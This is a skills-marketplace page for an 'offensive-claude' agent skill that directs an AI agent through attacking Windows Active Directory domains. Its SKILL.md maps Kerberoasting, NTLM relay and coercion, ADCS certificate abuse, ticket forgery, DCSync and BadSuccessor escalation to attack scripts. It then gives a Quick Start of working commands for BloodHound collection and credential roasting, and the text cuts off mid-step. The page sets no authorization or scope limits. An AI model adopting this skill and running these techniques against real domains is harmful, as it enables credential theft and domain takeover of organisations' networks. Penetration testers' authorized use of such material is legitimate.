active-directory-attack
starsforks
How to install active-directory-attack?
hypnguyen1209/offensive-claude/active-directory-attack
$npx -y skills add hypnguyen1209/offensive-claude --skill active-directory-attackUse when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance
SKILL.md
| 1 | # Active Directory Attacks |
| 2 | |
| 3 | ## When to Activate |
| 4 | |
| 5 | - Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position) |
| 6 | - Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery |
| 7 | - Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073) |
| 8 | - ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover |
| 9 | - dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains |
| 10 | - BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence |
| 11 | |
| 12 | ## Technique Map |
| 13 | |
| 14 | | Technique | ATT&CK | CWE | Reference | Script | |
| 15 | |-----------|--------|-----|-----------|--------| |
| 16 | | BloodHound CE / SharpHound enumeration | T1482 | CWE-732 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py | |
| 17 | | Password spray / PtH / PtT lateral movement | T1550.002, T1550.003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py | |
| 18 | | LAPS / gMSA password read | T1003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py | |
| 19 | | Kerberoasting | T1558.003 | CWE-261 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py | |
| 20 | | AS-REP roasting | T1558.004 | CWE-308 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py | |
| 21 | | Resource-Based Constrained Delegation (RBCD) | T1558, T1098 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py | |
| 22 | | Constrained/Unconstrained delegation (S4U) | T1558 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py | |
| 23 | | Coercion (PetitPotam/DFSCoerce/PrinterBug/WebDAV) | T1187 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | |
| 24 | | NTLM relay (SMB/LDAP/ADCS) | T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | |
| 25 | | NTLM reflection (CVE-2025-33073) | T1187, T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | |
| 26 | | Kerberos relay / DNS CNAME (CVE-2026-20929) | T1557 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | |
| 27 | | ADCS ESC1 (SAN) / ESC15 EKUwu (CVE-2024-49019) | T1649 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py | |
| 28 | | ADCS ESC8 relay / ESC16 CA-wide override | T1649, T1557.001 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py | |
| 29 | | Golden / Silver / Diamond / Sapphire ticket | T1558.001, T1558.002 | CWE-345 | references/ticket-forgery-dcsync.md | - | |
| 30 | | DCSync (DRSUAPI replication) | T1003.006 | CWE-269 | references/ticket-forgery-dcsync.md | - | |
| 31 | | noPac / sAMAccountName spoofing (CVE-2021-42278/87) | T1558 | CWE-287 | references/ticket-forgery-dcsync.md | - | |
| 32 | | dMSA BadSuccessor (CVE-2025-53779) | T1098, T1558 | CWE-269 | references/dmsa-badsuccessor.md | scripts/Get-BadSuccessorOUPermissions.ps1 | |
| 33 | |
| 34 | ## Quick Start |
| 35 | |
| 36 | ```bash |
| 37 | # 0. Sync clock to DC (Kerberos needs +/-5 min) |
| 38 | sudo ntpdate <DC_IP> # or: faketime "$(net time -S <DC>)" <cmd> |
| 39 | |
| 40 | # 1. Enumerate: BloodHound CE collection (Linux) + own the graph |
| 41 | bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip |
| 42 | # (use the bloodhound-ce branch; legacy collectors break CE ingest) |
| 43 | nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP> |
| 44 | |
| 45 | # 2. Cheap wins on the graph: roast everything visible |
| 46 | python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast |
| 47 | |
| 48 | # 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if s |
People who liked this also viewed
6 picksType
- entra-app-registrationGuides Microsoft Entra ID app registration, OAuth 2.0 authentication, and MSAL integration. USE FOR: create app registration, register Azure AD app, configure OAuth, set up authentication, add API perSkillsJul 2026
- azure-complianceRun Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: SkillsJul 2026
- azure-rbacOfficial agent plugin providing skills and MCP server configurations for Azure scenarios.SkillsJul 2026
- better-auth-best-practicesAgent skill from better-auth/skillsSkillsJul 2026
- firebase-security-rules-auditorA skill to evaluate how secure Firestore security rules are. Use this when Firestore security rules are updated to ensure that the generated rules are extremely secure and robust.SkillsJul 2026
- audit-websiteAudit a website with the squirrelscan CLI and fix the findings in code. Runs SEO, performance, security, technical, content, accessibility, and 15 other rule categories (260+ rules), returns an LLM-opSkillsJul 2026
